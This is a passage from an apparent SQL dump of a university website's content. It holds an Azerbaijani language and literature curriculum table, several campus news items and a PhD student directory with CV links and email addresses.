102</td>\r\n  <td width=\"360\">İngilis\r\n  dilinin əsasları 2</td>\r\n  <td width=\"33\">4</td>\r\n  <td>ENGL 101</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">ASC 201&nbsp;</td>\r\n  <td width=\"270\">Azərbaycan\r\n  mədəniyyəti</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZH 150&nbsp;</td>\r\n  <td width=\"360\">Azərbaycan\r\n  tarixi</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">AZLL 106</td>\r\n  <td>Müasir azərbaycan\r\n  dili-1</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL108</td>\r\n  <td width=\"360\">Müasir\r\n  Azərbaycan dili-2</td>\r\n  <td>3</td>\r\n  <td>AZLL 106</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl64\" width=\"67\" style=\"\" height:25.5pt;border-top:none;width:50pt\"\"=\"\">AZLL107</td>\r\n  <td width=\"270\">Azərbaycan\r\n  ədəbiyyat tarixi-1 (Azərbaycan şifahi xalq ədəbiyyatı)</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">LİT 116</td>\r\n  <td width=\"360\">Ədəbiyyat\r\n  nəzəriyyəsi</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">CMS 101</td>\r\n  <td width=\"270\">Kompüter\r\n  elminə giriş</td>\r\n  <td width=\"32\">3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL109</td>\r\n  <td width=\"360\">Azərbaycan\r\n  ədəbiyyatı tarixi-2</td>\r\n  <td>3</td>\r\n  <td width=\"107\">AZLL107</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td width=\"270\">Kredit</td>\r\n  <td width=\"32\">16</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Kredit</td>\r\n  <td>16</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"17\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"17\"><strong>2-ci il</strong></td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td rowspan=\"2\" height=\"20\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"270\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td rowspan=\"2\" width=\"32\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"101\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td rowspan=\"2\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td rowspan=\"2\" width=\"360\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td rowspan=\"2\" width=\"33\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td rowspan=\"2\" width=\"107\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"3\">\r\n  <td height=\"3\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">ENGL 103</td>\r\n  <td width=\"270\">Akademik\r\n  ingilis dili&nbsp;</td>\r\n  <td width=\"32\">4</td>\r\n  <td>ENGL 102</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 216</td>\r\n  <td width=\"360\">Xüsusi\r\n  məqsədlər üçün ingilis dilini</td>\r\n  <td width=\"33\">3</td>\r\n  <td>ENGL 103</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">AZLL 211</td>\r\n  <td width=\"270\">Əski\r\n  əlifba (humanitar-1)</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">PERS 206</td>\r\n  <td width=\"360\">Fars\r\n  dili (<strong><em>Humanitar-2</em></strong>)</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl82\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">AZLL 206</td>\r\n  <td width=\"270\">Müasir\r\n  Azərbaycan dili-3</td>\r\n  <td width=\"32\">3</td>\r\n  <td>AZLL 108</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL 302</td>\r\n  <td width=\"360\">Müasir\r\n  Azərbaycan dili-4</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">AZLL\r\n  206</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">EDU 101</td>\r\n  <td>Təhsilə giriş&nbsp;</td>\r\n  <td>3</td>\r\n  <td width=\"101\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">LING 216</td>\r\n  <td width=\"360\">Dilçiliyin\r\n  əsasları</td>\r\n  <td>3</td>\r\n  <td>none</td>\r\n </tr>\r\n <tr height=\"56\">\r\n  <td height=\"56\" class=\"xl64\" width=\"67\" style=\"\" height:42.0pt;border-top:none;width:50pt\"\"=\"\">AZLL207</td>\r\n  <td width=\"270\">Azərbaycan\r\n  ədəbiyyatı tarixi-3</td>\r\n  <td width=\"32\">3</td>\r\n  <td>AZLL 109</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL208</td>\r\n  <td width=\"360\">Azərbaycan\r\n  ədəbiyyatı tarixi-4</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">AZLL207</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">SCI 101</td>\r\n  <td width=\"360\">Yer\r\n  və fəza elmləri&nbsp;</td>\r\n  <td>3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td width=\"270\"><strong>Kredit</strong></td>\r\n  <td width=\"32\">16</td>\r\n  <td width=\"101\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"360\"><strong>Kredit</strong></td>\r\n  <td width=\"33\">18</td>\r\n  <td width=\"107\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"17\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"17\"><strong>3-cü il</strong></td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"270\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td width=\"32\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"101\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"360\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td width=\"33\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"107\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">AZLL307</td>\r\n  <td width=\"270\">Azərbaycan\r\n  ədəbiyyatı tarixi -5</td>\r\n  <td width=\"32\">3</td>\r\n  <td width=\"101\">AZLL208</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL 306</td>\r\n  <td width=\"360\">Azərbaycan\r\n  ədəbi dil tarixi</td>\r\n  <td>3</td>\r\n  <td>AZLL206</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">LIT 305</td>\r\n  <td width=\"270\">Dünya\r\n  ədəbiyyatı-1</td>\r\n  <td width=\"32\">3</td>\r\n  <td width=\"101\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">EDU 496</td>\r\n  <td width=\"360\">Sinfin\r\n  idarəolunması (<strong><em>Sosial-2</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">MED 315</td>\r\n  <td width=\"270\">Mülki\r\n  müdafiə və tibbi biliklərin əsasları&nbsp;&nbsp;</td>\r\n  <td width=\"32\">3</td>\r\n  <td>yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL343</td>\r\n  <td width=\"360\">Azərbaycan\r\n  ədəbiyyatı tarixi -6</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">AZLL307</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">PSYCH 304</td>\r\n  <td width=\"270\">Təhsil\r\n  psixologiyasının əsasları&nbsp;</td>\r\n  <td>3</td>\r\n  <td width=\"101\">EDU&nbsp; 101</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">LIT 308</td>\r\n  <td width=\"360\">Dünya\r\n  ədəbiyyatı-2</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">LİT\r\n  305</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">MGT 410</td>\r\n  <td>Təşkilati davranış\r\n  (<strong><em>Sosial-1</em></strong>)</td>\r\n  <td>3</td>\r\n  <td width=\"101\">yox</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">EDU 302</td>\r\n  <td width=\"360\">Kurikulum\r\n  və qiymətləndirmə strategiyaları&nbsp;</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"101\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>SPH 202</td>\r\n  <td width=\"360\">Nitq\r\n  mədəniyyəti və üslubiyyət (<strong><em>Seçmə-1</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td width=\"107\">yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td width=\"270\"><strong>Kredit</strong></td>\r\n  <td width=\"32\">15</td>\r\n  <td width=\"101\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"360\"><strong>Kredit</strong></td>\r\n  <td width=\"33\">18</td>\r\n  <td width=\"107\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"17\" id=\"zebra\">\r\n  <td colspan=\"9\" height=\"17\"><strong>4-cü il</strong></td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"270\" style=\"font-size:large\"><strong>Payız</strong></td>\r\n  <td width=\"32\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"101\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>Kod</strong></td>\r\n  <td width=\"360\" style=\"font-size:large\"><strong>Yaz</strong></td>\r\n  <td width=\"33\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td width=\"107\" style=\"font-size:large\"><strong>Prerekvizit</strong></td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">LIT405</td>\r\n  <td width=\"270\">Dünya\r\n  ədəbiyyatı-3</td>\r\n  <td width=\"32\">3</td>\r\n  <td width=\"101\">LIT\r\n  308</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">EDU 408</td>\r\n  <td width=\"360\">Aktiv\r\n  praktika&nbsp;</td>\r\n  <td width=\"33\">6</td>\r\n  <td>EDU 101, EDU 302</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">TURK 335</td>\r\n  <td width=\"270\">Türk\r\n  dillərinin müqayisəli qrammatikası (<strong><em>Seçmə-2</em></strong>)</td>\r\n  <td width=\"32\">3</td>\r\n  <td width=\"101\">yox&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL 412</td>\r\n  <td width=\"360\">Azərbaycan\r\n  dialektologiyası (<strong><em>Seçmə dil-4</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>LING 216</td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" class=\"xl64\" width=\"67\" style=\"\" height:25.5pt;border-top:none;width:50pt\"\"=\"\">EDU 407</td>\r\n  <td width=\"270\">Passiv\r\n  praktika&nbsp;</td>\r\n  <td width=\"32\">6</td>\r\n  <td>EDU 101<br>EDU 302</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL 488</td>\r\n  <td width=\"360\">Şərq\r\n  dilləri mühiti və Azərbaycan ədəbiyyatı (<strong><em>Seçmə ədəbiyyat-3</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\" class=\"xl64\" width=\"67\" style=\"\" height:12.75pt;border-top:none;width:50pt\"\"=\"\">EDU 408</td>\r\n  <td width=\"270\">Ana\r\n  dilinin tədrisi metodikası&nbsp;</td>\r\n  <td>3</td>\r\n  <td width=\"101\">EDU\r\n  101</td>\r\n  <td>&nbsp;</td>\r\n  <td>EDU 409</td>\r\n  <td>Ədəbiyyatın tədrisi\r\n  metodikası&nbsp;</td>\r\n  <td>3</td>\r\n  <td width=\"107\">EDU\r\n  101</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"64\">AZLL 456</td>\r\n  <td width=\"360\">Azərbaycan\r\n  dramaturgiyası (<strong><em>Seçmə ədəbiyyat-5</em></strong>)</td>\r\n  <td width=\"33\">3</td>\r\n  <td>yox</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\">&nbsp;</td>\r\n  <td width=\"270\"><strong>Kredit</strong></td>\r\n  <td width=\"32\">15</td>\r\n  <td width=\"101\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"360\"><strong>Kredit</strong></td>\r\n  <td width=\"33\">18</td>\r\n  <td width=\"107\">&nbsp;</td>\r\n </tr>\r\n <tr height=\"17\">\r\n  <td height=\"17\"></td>\r\n  <td><strong>Ümumi</strong></td>\r\n  <td>132</td>\r\n  <td>Kredit</td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr></tbody></table>  </div><div><br></div>'),(4694,2785,'az','Tələbələr “Əski əlifba”nı Əlyazmalar İnstitutunda öyrənirlər','2017-ci il dekabrın 26-da Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Xatirə Yusifova AMEA...','<p>2017-ci il dekabrın 26-da Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Xatirə Yusifova AMEA Məhəmməd Füzuli adına Əlyazmalar İnstitutunda Təhsil fakültəsinin tələbələri ilə “Əski əlifba” fənni çərçivəsində “Əlyazma nümunələri ilə tanışlıq” mövzusunda dərs keçdi. Bu dərs müddətində tələbələr əlyazma nümunələri ilə yaxından tanış oldular. Tələbələr Yaxın və Orta Şərq, Şimali Afrika xalqlarının elm və mədəniyyətinə aid türk, ərəb, fars dillərində qiymətli əsərlərlə, eyni zamanda, XIX-XX əsrlərdə yaşamış görkəmli elm və mədəniyyət xadimlərinin şəxsi sənədləri, əski çap kitabları, əvvəlki dövrlərin qəzet və jurnalları, müxtəlif mikrofilm və foto surətləri ilə tanış oldular.</p>'),(4697,2787,'az','Doktorantura tələbələri','Doktorantura tələbələri','<img src=\"http://www.khazar.org/files/image/14_12_24_Huseyn_Jafarov.jpg\" style=\"border:0px  #000000;width:120px;height:150px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/pdf/Huseyn_Jafarov_CV.pdf\">Hüseyn Cəfərov</a></strong></p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:huseyn.jafarov@khazar.org\">huseyn.jafarov[at]khazar.org</a></p><p><br></p>  <p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/image/sefiyeva_gulafet.jpg\" style=\"border:0px  #000000;margin:7px;width:112px;height:150px;float:left\"><p><a href=\"http://www.khazar.org/files/biolog_depart/CV%20G%C3%BClaf%C9%99t%20%C5%9E%C9%99fiyeva.pdf\"><strong>Gülafət Şəfiyeva</strong></a></p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:gulafat.shafiyeva@khazar.org\">gulafat.shafiyeva[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p><p><strong><br></strong></p>\r\n<strong></strong>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/image/zuleyxa_akberova.png\" style=\"border:0px  #000000;margin:7px;width:112px;height:150px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/biolog_depart/Zuleykha%20Akbarova_CV.pdf\">Züleyxa Əkbərova</a>&nbsp;</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:zuleykha.akbarova@khazar.org\">zuleykha.akbarova</a><a href=\"mailto:gulafat.shafiyeva@khazar.org\">[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/biolog_depart/Untitled.jpg\" style=\"border:0px  #000000;margin:7px;width:108px;height:150px;float:left\"><strong><a href=\"http://www.khazar.org/files/biolog_depart/cv%20complete.pdf\">Hawa Adli</a></strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:hadli@khazar.org\">hadli[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/biolog_depart/ddddd.jpg\" style=\"border:0px  #000000;width:112px;height:150px;margin:7px;float:left\"><p><a href=\"http://www.khazar.org/files/biolog_depart/curriculum%20Vitae%20Of%20Mehdi%20%20%20Zakeri.pdf\"><strong>Mehdi Zakeri</strong></a></p><p>Baytarlıq&nbsp;elmləri&nbsp;doktoru    (Urmiya&nbsp;Universiteti, İran)&nbsp;&nbsp;</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:mzakeri@khazar.org\">mzakeri[at]khazar.org</a></p><p><br></p><p><br></p>  \r\n<hr><p>  \r\n<strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/moozhan_serpoush_cv.pdf\"><img src=\"/files/biolog_depart/images/moozhan_serpoush.jpg\" style=\"border:0px #0000ee;width:110px;height:148px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Moozhan Serpoush</a></strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:moozhan.serpoush@khazar.org\">moozhan.serpoush[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr><p>  \r\n<strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/farida_mammadkhanova_cv.pdf\"><img src=\"/files/biolog_depart/images/farida_mammadkhanova.jpg\" style=\"width:110px;height:149px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Fəridə Məmmədxanova<br></a></strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:faridamamedkhanova@gmail.com\">faridamamedkhanova[at]gmail.com</a></p><p><br></p><p><br></p><p><br></p>  \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/nazila_pour_khalili.pdf\"><img src=\"/files/biolog_depart/images/nazila_pour_khalili.jpg\" style=\"width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Nazila Pour Khalili</a></strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:n.pourkhalili@hotmail.com\">n.pourkhalili[at]hotmail.com</a>  <a href=\"mailto:n.pourkhalili@hotmail.com\" style=\"font-weight:bold\"></a>  </p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/nazila_pour_khalili.pdf\"><img src=\"/files/biolog_depart/images/mahshid_damandan.jpg\" style=\"width:150px;height:198px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/mahshid_damandan.pdf\">Mahshid Damandan</a></strong></p>  <p><strong>E-mail:&nbsp;</strong><a href=\"mailto:Damandanmahshid.Immunologist@yahoo.com\">damandanmahshid.immunologist[at]yahoo.com</a>  <a href=\"mailto:n.pourkhalili@hotmail.com\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p>  \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/nazila_pour_khalili.pdf\"></a><a href=\"http://www.khazar.org/files/biolog_depart/images/rouhallah_moradpour.jpg\"><img src=\"/files/biolog_depart/images/rouhallah_moradpour.jpg\" style=\"width:150px;height:201px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/rouhallah_moradpour.pdf\">Rouhallah&nbsp;Moradpour  </a></strong></p>  <p><strong>E-mail:&nbsp;</strong><a href=\"mailto:moradpoormehran@ymail.com\">moradpoormehran[at]ymail.com</a>  <a href=\"mailto:Damandanmahshid.Immunologist@yahoo.com\"></a>  <a href=\"mailto:n.pourkhalili@hotmail.com\"></a></p>'),(6331,3600,'az','Xəzər Universitetində “Gəzmə komandası” yaradıldı','Xəzər Universitetinin rektoru Dr. Hassan Niknafsın təşəbbüsü ilə kiçik “Gəzmə...','<p>Xəzər Universitetinin rektoru Dr. Hassan Niknafsın təşəbbüsü ilə kiçik “Gəzmə komandası” yaradıldı. Komandanın əsas məqsədi gün ərzində iş rejiminin daha çox oturaq olduğuna görə “Sağlamlığımızın qayğısına qalaq” şüarı ilə, komanda üzvlərinə “Pedometr” paylaşıldı. Gündəlik gəzilən addımları ölçmək üçün komanda üzvləri ictimai nəqliyyatdan daha çox piyada yürüşə üstünlük verərək, hər gün müəyyən məsafəni gət edəcəklər. Bir ay tamamında nəticələr açıqlanacaq. Bu təşəbbüsün nə dərəcədə müsbət təsiri olacağı, müzakirə olunacaq.</p>'),(6335,3602,'az','Hamlet İsaxanlı “5-ci Element”in Qonağı oldu','Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasını sədri professor...','<p>2018-ci il noyabrın 5-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ATV telekanalında yayımlanan “5-ci element” verilişinin qonağı oldu.</p><p>Veriliş boyu Professor İsaxanlının yaradıcılığı, təhsil və həyat haqqında fikirləri ətrafında müzakirələr aparıldı.</p><p>Verilişi izləmək üçün aşağıda qeyd olunan linkə daxil olun:</p><p><a href=\"https://www.youtube.com/watch?v=iuNWAgl8OsM\" target=\"_blank\" rel=\"noopener noreferrer\" auth=\"NotApplicable\" previewinformation=\"1\">https://www.youtube.com/watch?v=iuNWAgl8OsM</a></p>'),(6202,3530,'az','Hamlet İsaxanlı Ali Attestasiya Komissiyasında','2018-ci il oktyabrın 15-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor...','<p>2018-ci il oktyabrın 15-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasının sədri Famil Mustafayevlə görüşdü.</p><p>Görüş zamanı AAK qarşısında duran məsələlər, dissertasiya işlərinin keyfiyyəti və müdafiəsi, elmi adların mənası və verilmə qaydaları, bu işlərdə dünya təcrübəsi kimi bir sıra məsələlər barədə ətraflı müzakirə aparıldı.</p>'),(6203,3530,'en','Hamlet Isakhanli at the Higher Attestation Commission','On October 15, 2018, founder of Khazar University, Chairman of its Board of Directors and Trustees...','<p>On October 15, 2018, founder of Khazar University, Chairman of its Board of Directors and Trustees Prof. Hamlet Isakhanli met with the Head of Higher Attestation Commission under the President of the Republic of Azerbaijan.</p><p>During the meeting, current issues of the HAC, the quality and defense of dissertations, meaning of scientific titles, and its issuance rules, global experience&nbsp;in these&nbsp; spheres&nbsp;and other problems were discussed thoroughly.</p>'),(4698,2787,'en','Ph.D. Students','Ph.D. Students','<img src=\"http://www.khazar.org/files/image/14_12_24_Huseyn_Jafarov.jpg\" style=\"border:0px  #000000;width:120px;height:150px;margin:7px;float:left\"><p><a href=\"http://www.khazar.org/files/pdf/Huseyn_Jafarov_CV.pdf\"><strong>Huseyn Jafarov</strong></a>&nbsp;</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:huseyn.jafarov@khazar.org\">huseyn.jafarov[at]khazar.org</a></p><p><br></p><p><br></p>  <p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/image/sefiyeva_gulafet.jpg\" style=\"border:0px  #000000;margin:7px;width:112px;height:150px;float:left\"><p><a href=\"http://www.khazar.org/files/pdf/CV_Gulafet.pdf\"><strong>Gulafat&nbsp;</strong></a><a href=\"http://www.khazar.org/files/biolog_depart/CV_Gulafet.pdf\"><strong>Shafiyeva</strong></a></p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:gulafat.shafiyeva@khazar.org\">gulafat.shafiyeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<strong></strong>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/image/zuleyxa_akberova.png\" style=\"border:0px  #000000;margin:7px;width:112px;height:150px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/biolog_depart/Zuleykha%20Akbarova_CV.pdf\">Zuleykha Akbarova</a>&nbsp;</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:zuleykha.akbarova@khazar.org\">zuleykha.akbarova</a><a href=\"mailto:gulafat.shafiyeva@khazar.org\">[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/biolog_depart/Untitled.jpg\" style=\"border:0px  #000000;margin:7px;width:108px;height:150px;float:left\"><a href=\"http://www.khazar.org/files/biolog_depart/cv%20complete.pdf\"><strong>Hawa Adli</strong></a></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:hadli@khazar.org\">hadli[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/biolog_depart/ddddd.jpg\" style=\"border:0px  #000000;width:112px;height:150px;margin:7px;float:left\"><p><a href=\"http://www.khazar.org/files/biolog_depart/curriculum%20Vitae%20Of%20Mehdi%20%20%20Zakeri.pdf\"><strong>Mehdi Zakeri</strong></a></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:mzakeri@khazar.org\">mzakeri[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>  \r\n<hr><p>  \r\n<strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/moozhan_serpoush_cv.pdf\"><img src=\"/files/biolog_depart/images/moozhan_serpoush.jpg\" style=\"border:0px #0000ee;width:110px;height:148px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Moozhan Serpoush</a></strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:moozhan.serpoush@khazar.org\">moozhan.serpoush[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>  \r\n<hr><p>  \r\n<strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/farida_mammadkhanova_cv.pdf\"><img src=\"/files/biolog_depart/images/farida_mammadkhanova.jpg\" style=\"width:110px;height:149px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Farida Mammadkhanova<br></a></strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:faridamamedkhanova@gmail.com\">faridamamedkhanova[at]gmail.com</a></p><p><br></p><p><br></p><p><br></p>  \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/nazila_pour_khalili.pdf\"><img src=\"/files/biolog_depart/images/nazila_pour_khalili.jpg\" style=\"width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Nazila Pour 